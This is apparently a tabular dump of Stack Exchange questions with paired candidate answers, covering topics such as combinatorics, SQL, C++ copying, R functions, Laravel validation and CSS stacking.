qid int64 1 74.7M | question stringlengths 15 58.3k | date stringlengths 10 10 | metadata list | response_j stringlengths 4 30.2k | response_k stringlengths 11 36.5k |
|---|---|---|---|---|---|
721,804 | I noticed that the sum of any even number of odds with any other even numbers is even.
So, in making 5 elements I counted only the ones with 2 odd numbers, the rest being even
for example 1 3 2 4 6
and 4 odd number, the last number being even, and of of course the set itself, which is even.
for example 1 3 5 7 2
... | 2014/03/22 | [
"https://math.stackexchange.com/questions/721804",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/137120/"
] | We need to choose $1$ even and $4$ odd, or $3$ even and $2$ odd, or $5$ even and $0$ odd. The total is
$$\binom{5}{1}\binom{5}{4}+\binom{5}{3}\binom{5}{2}+\binom{5}{5}\binom{5}{0}.$$
There is a little less work if we notice that $\binom{5}{5-k}=\binom{5}{k}$.
**Remark:** The following argument is fancier, but more i... | Notice the bijection between sets which add to $15+k$ and $40-k$ for $0 \leq k \leq 12$
Thus, there are the same amount of odd sets as even sets.
Therefore, the answer is $\frac{1}{2} {10 \choose 5} = 126$. |
721,804 | I noticed that the sum of any even number of odds with any other even numbers is even.
So, in making 5 elements I counted only the ones with 2 odd numbers, the rest being even
for example 1 3 2 4 6
and 4 odd number, the last number being even, and of of course the set itself, which is even.
for example 1 3 5 7 2
... | 2014/03/22 | [
"https://math.stackexchange.com/questions/721804",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/137120/"
] | There are 3 cases to be considered that leads to the sum to be an even number.
Case 1: 0 odd, 5 evens: 2, 4, 6, 8, 10. So there is 1 solution set.
Case 2: 2 odds, 3 evens: example: 3, 5, 2, 6, 10. There are C(5,2)\*C(5,3) = 100 sets.
Case 3: 4 odds, 1 even. There are C(5,4)\*C(5,1) = 25 sets.
So there are: 126 sets... | Here is a proof using generating functions of the count of subsets of
the set $\{1,2,3,\ldots,2n\}$ with $n$ elements whose sum is even.
By inspection the bivariate ordinary generating function of these sets
by total sum (variable $z$) and number of elements (variable $u$) is
$$f(z, u) = \prod\_{k=1}^{2n} (1 + u z^k).... |
721,804 | I noticed that the sum of any even number of odds with any other even numbers is even.
So, in making 5 elements I counted only the ones with 2 odd numbers, the rest being even
for example 1 3 2 4 6
and 4 odd number, the last number being even, and of of course the set itself, which is even.
for example 1 3 5 7 2
... | 2014/03/22 | [
"https://math.stackexchange.com/questions/721804",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/137120/"
] | There are 3 cases to be considered that leads to the sum to be an even number.
Case 1: 0 odd, 5 evens: 2, 4, 6, 8, 10. So there is 1 solution set.
Case 2: 2 odds, 3 evens: example: 3, 5, 2, 6, 10. There are C(5,2)\*C(5,3) = 100 sets.
Case 3: 4 odds, 1 even. There are C(5,4)\*C(5,1) = 25 sets.
So there are: 126 sets... | Notice the bijection between sets which add to $15+k$ and $40-k$ for $0 \leq k \leq 12$
Thus, there are the same amount of odd sets as even sets.
Therefore, the answer is $\frac{1}{2} {10 \choose 5} = 126$. |
721,804 | I noticed that the sum of any even number of odds with any other even numbers is even.
So, in making 5 elements I counted only the ones with 2 odd numbers, the rest being even
for example 1 3 2 4 6
and 4 odd number, the last number being even, and of of course the set itself, which is even.
for example 1 3 5 7 2
... | 2014/03/22 | [
"https://math.stackexchange.com/questions/721804",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/137120/"
] | Here is a proof using generating functions of the count of subsets of
the set $\{1,2,3,\ldots,2n\}$ with $n$ elements whose sum is even.
By inspection the bivariate ordinary generating function of these sets
by total sum (variable $z$) and number of elements (variable $u$) is
$$f(z, u) = \prod\_{k=1}^{2n} (1 + u z^k).... | Notice the bijection between sets which add to $15+k$ and $40-k$ for $0 \leq k \leq 12$
Thus, there are the same amount of odd sets as even sets.
Therefore, the answer is $\frac{1}{2} {10 \choose 5} = 126$. |
32,949,675 | I have an MVC application which also uses webapi2.
To call the api services i am using jquery ajax as below.
```
$.ajax({
url: GetBaseURL() + '/api/MyController/PutMethod',
type: 'put',
data: dataObject,
contentType: 'application/json',
timeout: AJAX_TIMEOUT,
success: function () {
self.CallOtherFunction();
});
```
... | 2015/10/05 | [
"https://Stackoverflow.com/questions/32949675",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5360455/"
] | This is complicated. First you must find consecutive date records, so with
```
thedate theid thetype
2014-07-12 5001 59
2014-07-12 5002 101
2014-07-12 5003 88
2014-07-13 5004 10
2014-07-12 5005 60
```
you would identify 2014-07-12 as one occurrence for the first three re... | Taking the liberty granted in comments to assume that `TheDate` is non-decreasing with ascending `TheId`, if `r1.TheId < r2.TheId` then it must be the case that `r1.TheDate <= r2.TheDate` (that's the definition of non-decreasing). In that case, ordering first by `TheDate` and then by `TheId` produces the same order as ... |
32,949,675 | I have an MVC application which also uses webapi2.
To call the api services i am using jquery ajax as below.
```
$.ajax({
url: GetBaseURL() + '/api/MyController/PutMethod',
type: 'put',
data: dataObject,
contentType: 'application/json',
timeout: AJAX_TIMEOUT,
success: function () {
self.CallOtherFunction();
});
```
... | 2015/10/05 | [
"https://Stackoverflow.com/questions/32949675",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5360455/"
] | This is complicated. First you must find consecutive date records, so with
```
thedate theid thetype
2014-07-12 5001 59
2014-07-12 5002 101
2014-07-12 5003 88
2014-07-13 5004 10
2014-07-12 5005 60
```
you would identify 2014-07-12 as one occurrence for the first three re... | If TheID cannot be null then just change the TheID to null as part of the order by where TheType is a special value:
```
order by TheDate,
case TheType
when 101 then null
else TheID
end nulls last
``` |
1,364,603 | I am trying to write a formula make excel place data in a cell based on the contents of a different cell BUT the formula cannot be in the cell where excel places the data.
If we take the below simple formula and place it in Cell B1 it works fine:
`=IF(A1=1,"Okay","Nope")`
If I type the number 1 in cell A1 then excel... | 2018/10/07 | [
"https://superuser.com/questions/1364603",
"https://superuser.com",
"https://superuser.com/users/951562/"
] | This can be done with a VBA macro:
```
Sub PutData()
If Range("A1").Value = 1 Then
Range("C1").Value = "Okay"
Else
Range("C1").Value = "Nope"
End If
End Sub
```
First type a value in cell **A1** and then run the macro.
If required:
* the macro can be modified to handle multiple cells
* ... | **Since you don't want any Formula for the issue then MACRO (VBA code) is the best solution. And to automate the entire process I would like to recommended `Worksheet_change event` rather than simple MACRO.**
```
Private Sub Worksheet_Change(ByVal Target As Range)
If Target.Address = "$A$1" And Target.value = 1 Then
... |
52,494 | We know that a wave which has greater frequency will have low wavelength and high energy. So, by decreasing the wavelength, the frequency and consequently energy (intensity) of that wave will increase or vice versa.
Now, i want to ask a question in black body radiation by looking at the following graphs
![enter image... | 2013/01/29 | [
"https://physics.stackexchange.com/questions/52494",
"https://physics.stackexchange.com",
"https://physics.stackexchange.com/users/12934/"
] | You are confusing two **very** different concepts (but you are certainly not the first) whose biggest connection is that they are both named after Max Planck.
First, there is the **energy of a single photon**:
$$ E = h\nu = \frac{hc}{\lambda}. $$
If you plotted $E$ as a function of $\lambda$, you would indeed get the ... | I think you are confusing several aspects here. First, the energy of a *photon* depends on its frequency (or wavelength), the overall energy of a wave depends then on its frequency and number of photons.
The black body radiation law just says how much energy gets emitted by a black body of a given temperature at a giv... |
52,494 | We know that a wave which has greater frequency will have low wavelength and high energy. So, by decreasing the wavelength, the frequency and consequently energy (intensity) of that wave will increase or vice versa.
Now, i want to ask a question in black body radiation by looking at the following graphs
![enter image... | 2013/01/29 | [
"https://physics.stackexchange.com/questions/52494",
"https://physics.stackexchange.com",
"https://physics.stackexchange.com/users/12934/"
] | The graph tells you how much radiation (intensity) of each wavelength is produced depending on the temperature. At 3000K for example, you wouldn't expect to see much low wavelength radiation compared to a hotter temperature. At 6000K however, which is much hotter, you do expect to see more high-energy, low wavelength r... | I think you are confusing several aspects here. First, the energy of a *photon* depends on its frequency (or wavelength), the overall energy of a wave depends then on its frequency and number of photons.
The black body radiation law just says how much energy gets emitted by a black body of a given temperature at a giv... |
52,494 | We know that a wave which has greater frequency will have low wavelength and high energy. So, by decreasing the wavelength, the frequency and consequently energy (intensity) of that wave will increase or vice versa.
Now, i want to ask a question in black body radiation by looking at the following graphs
![enter image... | 2013/01/29 | [
"https://physics.stackexchange.com/questions/52494",
"https://physics.stackexchange.com",
"https://physics.stackexchange.com/users/12934/"
] | You are confusing two **very** different concepts (but you are certainly not the first) whose biggest connection is that they are both named after Max Planck.
First, there is the **energy of a single photon**:
$$ E = h\nu = \frac{hc}{\lambda}. $$
If you plotted $E$ as a function of $\lambda$, you would indeed get the ... | The graph tells you how much radiation (intensity) of each wavelength is produced depending on the temperature. At 3000K for example, you wouldn't expect to see much low wavelength radiation compared to a hotter temperature. At 6000K however, which is much hotter, you do expect to see more high-energy, low wavelength r... |
74,385,642 | I would like to convert it to vector of vectors
but I'm confused about the code above
it's better to store it on stack rather than heap, that's why I want to change it to vector of vector
```
std::vector<DPoint*>* pixelSpacing; ///< vector of slice pixel spacings
pixelSpacing = new std::vector<DPoint*>(volume.pixel... | 2022/11/10 | [
"https://Stackoverflow.com/questions/74385642",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/375666/"
] | can you try this:
```
df=pd.json_normalize(Test_data)
print(df)
'''
archived archived_at associations created_at id properties_with_history updated_at properties.createdate properties.email properties.firstname
0 False None None 2020-10-30T08:03:54.190Z ... | There is a partial solution.....Maybe selecting or doing an unpivot dataframe this approach could be useful...
```
import pandas as pd
import datetime
import json
import jsonpickle
test_data ={'archived': False,
'archived_at': None,
'associations': None,
'created_at': datetime.datetime(2020, 10, 30, 8, 3, 54, 190000... |
232,804 | >
> *"Jack'll come tomorrow",* she told Rose in the morning.
>
>
>
What does it mean if I ask "When did she tell Rose Jack would come?".
'Tomorrow' and 'the morning' are the two times in the first statement. The question above returns one of them as an answer. If I want to get the other as the answer, how do I m... | 2019/12/18 | [
"https://ell.stackexchange.com/questions/232804",
"https://ell.stackexchange.com",
"https://ell.stackexchange.com/users/106246/"
] | Contrary to most answers here, I think there are mutiple meanings here.
>
> Doubts about Dumbledore had riddled him
>
>
>
You could argue (as others have) that the doubts he had about Dumbledore were puzzling to Harry.
However, unless Dumbledore actually set him some riddles/puzzles to solve, I think it really m... | True! It's in the sense of *puzzling* the character.
Check the verb version here in [this dictionary](https://www.thefreedictionary.com/riddled) -
>
> *A question or statement requiring thought to answer or understand; a conundrum.*
>
>
>
It's an entry for *v. rid·dled, rid·dling, rid·dles* |
232,804 | >
> *"Jack'll come tomorrow",* she told Rose in the morning.
>
>
>
What does it mean if I ask "When did she tell Rose Jack would come?".
'Tomorrow' and 'the morning' are the two times in the first statement. The question above returns one of them as an answer. If I want to get the other as the answer, how do I m... | 2019/12/18 | [
"https://ell.stackexchange.com/questions/232804",
"https://ell.stackexchange.com",
"https://ell.stackexchange.com/users/106246/"
] | Contrary to most answers here, I think there are mutiple meanings here.
>
> Doubts about Dumbledore had riddled him
>
>
>
You could argue (as others have) that the doubts he had about Dumbledore were puzzling to Harry.
However, unless Dumbledore actually set him some riddles/puzzles to solve, I think it really m... | The noun "riddle" is a kind of verbal puzzle, and there is a corresponding verb with the primary meaning of posing such a puzzle. So there is no reference here to the verb "riddle" with the meaning of "pierce." Instead, the meaning is simply that doubts had puzzled Harry. In my part of the U.S., this usage of "riddle" ... |
27,202,341 | When I try to load a video into JavaFX Webview the youtube will display an error message when play is pressed saying:
"An error occurred, please try again later"
I have this:
```
private void change(final Pattern pattern) {
nameLabel.setText(pattern.getName());
final WebEngine engine = view.getEngine();
f... | 2014/11/29 | [
"https://Stackoverflow.com/questions/27202341",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2452215/"
] | Although playing YouTube videos using JavaFX used to work in earlier JavaFX versions, I don't believe it works in the current JavaFX version (8u25) on all platforms.
See related bug report:
* [RT-35062 [WebNode] jfxwebkit.dll crash when playing Youtube videos in WebView](https://javafx-jira.kenai.com/browse/RT-35062... | I'm pretty sure YouTube embed URLs can't be loaded into a WebView like that...
Try using the iframe markup (you can get an example on the regular YouTube page for most videos) with a call to engine.loadContent() instead. For example:
```
engine.loadContent("<html><body><iframe width=\"1000\" height=\"500\" " +
... |
41,342,837 | i have try to set cron file for get auto backup to all my database table.
i was using following mysqldump command :
```
sudo mysqldump -u username -p password --all-databases | gzip > mysqldb_`date +%F`.sql.gz
```
but it's show following error :
>
> mysqldump: Got error: 1049: Unknown database 'password' when se... | 2016/12/27 | [
"https://Stackoverflow.com/questions/41342837",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/6148024/"
] | ```
$validator = Validator::make($data, [
'start_date' => 'required|date',
'end_date' => 'required|date|after_or_equal:start_date',
]);
```
Use **after\_or\_equal** | upgarate to **5.4** and you can use after\_or\_equal
see
<https://laravel.com/docs/5.4/validation#rule-after-or-equal> |
41,342,837 | i have try to set cron file for get auto backup to all my database table.
i was using following mysqldump command :
```
sudo mysqldump -u username -p password --all-databases | gzip > mysqldb_`date +%F`.sql.gz
```
but it's show following error :
>
> mysqldump: Got error: 1049: Unknown database 'password' when se... | 2016/12/27 | [
"https://Stackoverflow.com/questions/41342837",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/6148024/"
] | **Be careful when you set a validation rule `after_or_equal:now` and `date_format` with a format without hours, minutes or seconds!**
For example:
```php
$validationRules = [
'my_time_start' => [
'date_format:Y-m-d',// format without hours, minutes and seconds.
'after_or_equal:now'
]
];
```
... | upgarate to **5.4** and you can use after\_or\_equal
see
<https://laravel.com/docs/5.4/validation#rule-after-or-equal> |
41,342,837 | i have try to set cron file for get auto backup to all my database table.
i was using following mysqldump command :
```
sudo mysqldump -u username -p password --all-databases | gzip > mysqldb_`date +%F`.sql.gz
```
but it's show following error :
>
> mysqldump: Got error: 1049: Unknown database 'password' when se... | 2016/12/27 | [
"https://Stackoverflow.com/questions/41342837",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/6148024/"
] | ```
$validator = Validator::make($data, [
'start_date' => 'required|date',
'end_date' => 'required|date|after_or_equal:start_date',
]);
```
Use **after\_or\_equal** | Actually, you can also use `after_or_equal` and `before_or_equal` when using at least Laravel version `5.3.31`. This may help to avoid having to upgrade to a higher Laravel version. |
41,342,837 | i have try to set cron file for get auto backup to all my database table.
i was using following mysqldump command :
```
sudo mysqldump -u username -p password --all-databases | gzip > mysqldb_`date +%F`.sql.gz
```
but it's show following error :
>
> mysqldump: Got error: 1049: Unknown database 'password' when se... | 2016/12/27 | [
"https://Stackoverflow.com/questions/41342837",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/6148024/"
] | ```
$validator = Validator::make($data, [
'start_date' => 'required|date',
'end_date' => 'required|date|after_or_equal:start_date',
]);
```
Use **after\_or\_equal** | **Be careful when you set a validation rule `after_or_equal:now` and `date_format` with a format without hours, minutes or seconds!**
For example:
```php
$validationRules = [
'my_time_start' => [
'date_format:Y-m-d',// format without hours, minutes and seconds.
'after_or_equal:now'
]
];
```
... |
41,342,837 | i have try to set cron file for get auto backup to all my database table.
i was using following mysqldump command :
```
sudo mysqldump -u username -p password --all-databases | gzip > mysqldb_`date +%F`.sql.gz
```
but it's show following error :
>
> mysqldump: Got error: 1049: Unknown database 'password' when se... | 2016/12/27 | [
"https://Stackoverflow.com/questions/41342837",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/6148024/"
] | **Be careful when you set a validation rule `after_or_equal:now` and `date_format` with a format without hours, minutes or seconds!**
For example:
```php
$validationRules = [
'my_time_start' => [
'date_format:Y-m-d',// format without hours, minutes and seconds.
'after_or_equal:now'
]
];
```
... | Actually, you can also use `after_or_equal` and `before_or_equal` when using at least Laravel version `5.3.31`. This may help to avoid having to upgrade to a higher Laravel version. |
37,176,581 | It is showing the error message that the app is unfortunately closed when I move from the **AddReminder Activity** to the **AddEventPlace Activity**.
**DataBaseHelper.java**
```
public class DatabaseHelper extends SQLiteOpenHelper {
String tbl_User = "User";
String tbl_Reminder = "Reminder";
public stat... | 2016/05/12 | [
"https://Stackoverflow.com/questions/37176581",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4932235/"
] | I've found this issue trying to solve exactly the same problem.
Here is a spec <https://html.spec.whatwg.org/multipage/webappapis.html#dom-document-open> that says that on `document.open` current document is destroyed and replaced with a fresh one. I had a hope that some event's like "load" are still preserved, no luc... | This is a detailed explanation of why [@Viller's answer](https://stackoverflow.com/a/41205013/1714951) works. I'm making this a new answer as it didn't fit into a comment
The `TestEvent` event is a special event that monitors when the events that were previously setup in a document are removed.
In particular, this ac... |
37,176,581 | It is showing the error message that the app is unfortunately closed when I move from the **AddReminder Activity** to the **AddEventPlace Activity**.
**DataBaseHelper.java**
```
public class DatabaseHelper extends SQLiteOpenHelper {
String tbl_User = "User";
String tbl_Reminder = "Reminder";
public stat... | 2016/05/12 | [
"https://Stackoverflow.com/questions/37176581",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4932235/"
] | I've found this issue trying to solve exactly the same problem.
Here is a spec <https://html.spec.whatwg.org/multipage/webappapis.html#dom-document-open> that says that on `document.open` current document is destroyed and replaced with a fresh one. I had a hope that some event's like "load" are still preserved, no luc... | According to [MDN](https://developer.mozilla.org/en-US/docs/Web/API/Document/open):
>
> The Document.open() method [...] come(s) with some side effects. For example:
> All event listeners currently registered on the document, nodes inside
> the document, or the document's window are removed.
>
>
>
Below I provide... |
19,375,855 | how to make such feature?

I have two ideas, but both do not know how to fully realize.
1) After a certain action to show one layout on top of another(I do not know how to do it and maybe it will not be right because there will be no visible elemen... | 2013/10/15 | [
"https://Stackoverflow.com/questions/19375855",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2708426/"
] | Make a custom dialog (<http://developer.android.com/guide/topics/ui/dialogs.html#CustomLayout>) with this design, then set true to `setCanceledOnTouchOutside(true)`
and `setCanceledOnTouchOutside(true)`
Hope it helps
**UPDATE**:
First create a style in style.xml file with name **CustomDialogTheme** and add the colo... | Give your Root layout an id in XML like this:
```
<LinearLayout android:id="@+id/root_layout" //relative layout
```
in onCreate of your Activity,
```
LinearLayout layout=(LinearLayout)findViewById(R.id.root_layout);
```
and set `OnClickListener` to layout. |
21,668,202 | If structs are fully copied, then the first loop is more expensive than the second one, because it is performing an additional copy for each element of v.
```
vector<MyStruct> v;
for (int i = 0; i < v.size(); ++i) {
MyStruct s = v[i];
doSomething(s);
}
for (int i = 0; i < v.size(); ++i) {
doSomething(v[i... | 2014/02/10 | [
"https://Stackoverflow.com/questions/21668202",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2460978/"
] | Structs (and all variables for that matter) are indeed fully copied when you use `=`. Overloading the `=` operator and the copy constructor can give you more control over what happens, but there is no way you can use these to change the behavior from copying to referencing. You can work around this by creating a refere... | In your first example, the object will be copied over and you will have to deal with the cost of the overhead of the copy.
If you don't want the cost of the over head, but still want to have a local object then you could use a reference.
```
for (int i = 0; i < v.size(); ++i) {
MyStruct& s = v[i];
doSomething... |
21,668,202 | If structs are fully copied, then the first loop is more expensive than the second one, because it is performing an additional copy for each element of v.
```
vector<MyStruct> v;
for (int i = 0; i < v.size(); ++i) {
MyStruct s = v[i];
doSomething(s);
}
for (int i = 0; i < v.size(); ++i) {
doSomething(v[i... | 2014/02/10 | [
"https://Stackoverflow.com/questions/21668202",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2460978/"
] | Structs (and all variables for that matter) are indeed fully copied when you use `=`. Overloading the `=` operator and the copy constructor can give you more control over what happens, but there is no way you can use these to change the behavior from copying to referencing. You can work around this by creating a refere... | Copied\*. Unless you overload the assignment operator. Also, Structs and Classes in C++ are the same in this respect, their copy behaviour does not differ as it does in c#.
If you want to dive deep into C++ you can also look up the move operator, but it is generally best to ignore that for beginners.
C++ does not hav... |
21,668,202 | If structs are fully copied, then the first loop is more expensive than the second one, because it is performing an additional copy for each element of v.
```
vector<MyStruct> v;
for (int i = 0; i < v.size(); ++i) {
MyStruct s = v[i];
doSomething(s);
}
for (int i = 0; i < v.size(); ++i) {
doSomething(v[i... | 2014/02/10 | [
"https://Stackoverflow.com/questions/21668202",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2460978/"
] | Structs (and all variables for that matter) are indeed fully copied when you use `=`. Overloading the `=` operator and the copy constructor can give you more control over what happens, but there is no way you can use these to change the behavior from copying to referencing. You can work around this by creating a refere... | You can use references or pointers to avoid copying and having a name to relate to.
```
vector<MyStruct> v;
for (int i = 0; i < v.size(); ++i) {
MyStruct& s = v[i];
doSomething(s);
}
```
However since you use a vector for your container, using iterators might be a good idea. `doSomething` should take argum... |
21,668,202 | If structs are fully copied, then the first loop is more expensive than the second one, because it is performing an additional copy for each element of v.
```
vector<MyStruct> v;
for (int i = 0; i < v.size(); ++i) {
MyStruct s = v[i];
doSomething(s);
}
for (int i = 0; i < v.size(); ++i) {
doSomething(v[i... | 2014/02/10 | [
"https://Stackoverflow.com/questions/21668202",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2460978/"
] | Structs (and all variables for that matter) are indeed fully copied when you use `=`. Overloading the `=` operator and the copy constructor can give you more control over what happens, but there is no way you can use these to change the behavior from copying to referencing. You can work around this by creating a refere... | In your examples, you are creating copies. However not all uses of operator '=' will result in a copy. C++11 allows for 'move construction' or 'move assignment' in which case you aren't actually copying the data; instead, you're just (hopefully) making a high-speed move from one structure to another. (Naturally, what i... |
6,954,374 | I have a question about saving a dataframe with unequal lengths. Is there way to save table with variable lengths without introducing NA's or something? Here is an example with NA's but that is not what i want to save.
```
x <- list(matrix(c(1,4,3,2), ncol = 2,
dimnames = list(c("A","B"), NULL)), ... | 2011/08/05 | [
"https://Stackoverflow.com/questions/6954374",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/670781/"
] | I would create a list and write to a file using `write`. There are other possibilities (see help file for `?write`).
```
myl <- list(a = letters[1:10], b = 1:3, c = "kaplah") #create some data
# for every element in the list (`myl`), write that element to a file
# and append if necessary. also, if list element is a c... | A data frame has to be rectangular. If you want to store variable length data you need to use a list.
What is it about your data that makes you want to store it in a data frame? |
2,369,785 | While considering limiting problems there are some situations when we have argument tending to infinity of sine or cosine function .
My book writes it as an *"OSCILLATING number between $-1$ & $1$"*.
How is this possible? | 2017/07/24 | [
"https://math.stackexchange.com/questions/2369785",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/462103/"
] | What is oscilatting between $1$ and $-1$ is the sine (and the cosine). It follows from this that the limit cannot exist.
It's even worst with the tangent function: it keeps oscilatting between $-\infty$ and $+\infty$. The conclusion is the same, of course: $\lim\_{x\to\pm\infty}\tan x$ does not exist. | "$\sin \infty$" (informal notation) is not a defined number because the function $\sin x$ is oscillating. For this reason,
$$\lim\_{x\to\infty}\sin x$$ does not exist. |
2,369,785 | While considering limiting problems there are some situations when we have argument tending to infinity of sine or cosine function .
My book writes it as an *"OSCILLATING number between $-1$ & $1$"*.
How is this possible? | 2017/07/24 | [
"https://math.stackexchange.com/questions/2369785",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/462103/"
] | What is oscilatting between $1$ and $-1$ is the sine (and the cosine). It follows from this that the limit cannot exist.
It's even worst with the tangent function: it keeps oscilatting between $-\infty$ and $+\infty$. The conclusion is the same, of course: $\lim\_{x\to\pm\infty}\tan x$ does not exist. | We know that $\sin x$ can takes any value that is inside $[-1,1]$
So, when we say x tends to infinity that means x is getting larger and larger.
$$\lim\_{x \rightarrow \infty}\sin x=DNE$$
Visual aid.
[](https://i.stack.imgur.com/GXXrL.png)
Can yo... |
2,369,785 | While considering limiting problems there are some situations when we have argument tending to infinity of sine or cosine function .
My book writes it as an *"OSCILLATING number between $-1$ & $1$"*.
How is this possible? | 2017/07/24 | [
"https://math.stackexchange.com/questions/2369785",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/462103/"
] | What is oscilatting between $1$ and $-1$ is the sine (and the cosine). It follows from this that the limit cannot exist.
It's even worst with the tangent function: it keeps oscilatting between $-\infty$ and $+\infty$. The conclusion is the same, of course: $\lim\_{x\to\pm\infty}\tan x$ does not exist. | I have a slightly more creative and less conventional answer which I personally think is viable if you're not taking a calulus test.
On WolframAlpha if you do sin(infinity) you will get "-1 to 1." I am not sure how they got this answer but I definitely agree with it and here's why.
sin(∞) ?= [-1,1]
first of all, ∞=n... |
2,369,785 | While considering limiting problems there are some situations when we have argument tending to infinity of sine or cosine function .
My book writes it as an *"OSCILLATING number between $-1$ & $1$"*.
How is this possible? | 2017/07/24 | [
"https://math.stackexchange.com/questions/2369785",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/462103/"
] | "$\sin \infty$" (informal notation) is not a defined number because the function $\sin x$ is oscillating. For this reason,
$$\lim\_{x\to\infty}\sin x$$ does not exist. | We know that $\sin x$ can takes any value that is inside $[-1,1]$
So, when we say x tends to infinity that means x is getting larger and larger.
$$\lim\_{x \rightarrow \infty}\sin x=DNE$$
Visual aid.
[](https://i.stack.imgur.com/GXXrL.png)
Can yo... |
2,369,785 | While considering limiting problems there are some situations when we have argument tending to infinity of sine or cosine function .
My book writes it as an *"OSCILLATING number between $-1$ & $1$"*.
How is this possible? | 2017/07/24 | [
"https://math.stackexchange.com/questions/2369785",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/462103/"
] | "$\sin \infty$" (informal notation) is not a defined number because the function $\sin x$ is oscillating. For this reason,
$$\lim\_{x\to\infty}\sin x$$ does not exist. | I have a slightly more creative and less conventional answer which I personally think is viable if you're not taking a calulus test.
On WolframAlpha if you do sin(infinity) you will get "-1 to 1." I am not sure how they got this answer but I definitely agree with it and here's why.
sin(∞) ?= [-1,1]
first of all, ∞=n... |
2,369,785 | While considering limiting problems there are some situations when we have argument tending to infinity of sine or cosine function .
My book writes it as an *"OSCILLATING number between $-1$ & $1$"*.
How is this possible? | 2017/07/24 | [
"https://math.stackexchange.com/questions/2369785",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/462103/"
] | We know that $\sin x$ can takes any value that is inside $[-1,1]$
So, when we say x tends to infinity that means x is getting larger and larger.
$$\lim\_{x \rightarrow \infty}\sin x=DNE$$
Visual aid.
[](https://i.stack.imgur.com/GXXrL.png)
Can yo... | I have a slightly more creative and less conventional answer which I personally think is viable if you're not taking a calulus test.
On WolframAlpha if you do sin(infinity) you will get "-1 to 1." I am not sure how they got this answer but I definitely agree with it and here's why.
sin(∞) ?= [-1,1]
first of all, ∞=n... |
35,250 | Yesterday, you had the concrete poured for your new patio, but during the night, some visitors came by and scrawled some words onto the setting concrete. Here are the words:
```
- Groundhog's green ball
- Esau and his nephew
- The great pork dinner
- Bond cat
```
Who are these four men?
Hint:
>
> These only have... | 2016/06/07 | [
"https://puzzling.stackexchange.com/questions/35250",
"https://puzzling.stackexchange.com",
"https://puzzling.stackexchange.com/users/19824/"
] | >
> 1. Woodrow Wilson, because a synonym for groundhog is woodchuck and Wilson is a brand of tennis ball
>
> 2. Benjamin Harrison
>
> 3. ?
>
> 4. James Garfield
>
>
>
Still getting used to some of this stuff...
3 is really difficult but I will take a stab at it because I think I know how they relate
... | My guess is that they are (a similar line of thinking to Rip Tide)
>
> Former US presidents
>
>
>
* Groundhog's green ball
>
> I think that this is **George W Bush**.
> Groundhog refers to Groundhog Day (as in the recurrence of another George Bush) and a bush is usually green. Also, the green ball in snook... |
56,793,027 | Trying to position a dropdown behind the top navigation bar so that, when the animation of the dropdown dropping down occurs, it doesn't appear to come from over the top of the navigation bar but underneath it.
I've tried (tried being the operative word) to resolve this myself, and I've looked at stacking orders and c... | 2019/06/27 | [
"https://Stackoverflow.com/questions/56793027",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/10539983/"
] | ```css
.l-topbar {
height: 50px;
width: 100%;
}
.content {
background-color: tomato;
position: absolute;
top: 100px;
left: 200px;
height: 1000px;
width: 600px;
z-index: -1;
}
#nav-primary {
background-color: #008ed0;
background-image: linear-gradient(
to bottom right,
rg... | The `z-index` is not enough. Both elements must have position defined and it should be `absolute` and / or `relative`. [Check more for reference](https://stackoverflow.com/questions/37536651/z-index-not-making-div-appear-on-top-of-another-div/37536704#37536704). |
14,292,218 | I am facing a strange problem about **do.call** and **curve**:
```
func1 <- function (m, n) {
charac <- paste ("func2 <- function(x)", m, "*x^", n, sep = "")
eval(parse(text = charac))
return(func2)
}
func3 <- function (m, n) {
my.func <- func1 (m, n)
do.call("curve",list(expr = substitute(my.func)))
}
```
... | 2013/01/12 | [
"https://Stackoverflow.com/questions/14292218",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1306849/"
] | It is not a problem of `do.call`, but `substitute` ~~which evaluate by default in the global environment.
So~~ you need to tell it in which environment substitution must occur. Here obviously in the local envir of func3.
This should work:
```
do.call("curve",list(expr = substitute(my.func,
... | This works:
```
func3 <- function (m, n) {
my.func <- func1 (m, n); print(str(my.func))
do.call(curve, list(expr=bquote( my.func) ) )
}
``` |
14,292,218 | I am facing a strange problem about **do.call** and **curve**:
```
func1 <- function (m, n) {
charac <- paste ("func2 <- function(x)", m, "*x^", n, sep = "")
eval(parse(text = charac))
return(func2)
}
func3 <- function (m, n) {
my.func <- func1 (m, n)
do.call("curve",list(expr = substitute(my.func)))
}
```
... | 2013/01/12 | [
"https://Stackoverflow.com/questions/14292218",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1306849/"
] | It is not a problem of `do.call`, but `substitute` ~~which evaluate by default in the global environment.
So~~ you need to tell it in which environment substitution must occur. Here obviously in the local envir of func3.
This should work:
```
do.call("curve",list(expr = substitute(my.func,
... | You just need to remove line:
my.func <- func1 (m, n)
from func3. |
14,292,218 | I am facing a strange problem about **do.call** and **curve**:
```
func1 <- function (m, n) {
charac <- paste ("func2 <- function(x)", m, "*x^", n, sep = "")
eval(parse(text = charac))
return(func2)
}
func3 <- function (m, n) {
my.func <- func1 (m, n)
